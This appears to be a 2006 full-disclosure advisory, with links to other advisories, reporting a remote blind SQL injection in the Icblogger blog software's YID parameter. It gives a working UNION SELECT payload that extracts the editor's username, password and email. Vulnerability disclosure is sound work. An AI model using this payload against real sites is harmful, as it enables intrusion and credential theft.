Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

MyBace Light (hauptverzeichnis s) Remote File Inclusion

[Full-disclosure] PHP-Revista Multiple Vulnerabilities

[Full-disclosure] ssLinks v1.22 Multiple SQL Injection Vulnerabilities

[Full-disclosure] Autentificator v2.01 SQL Injection Vulnerabilty

From:	Chironex Fleckeri <chironex.fleckerix_(at)_gmail.com>
Date:	02.09.2006
Subject:	Icblogger <= "YID" Remote Blind SQL Injection

Code :

http://www.brimstonemastiffs.com/icblogger.txt

Example :

http://www.exploitw0rld.com/devam.asp?YID=-1 UNION SELECT
null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM
editor WHERE editor_id = 1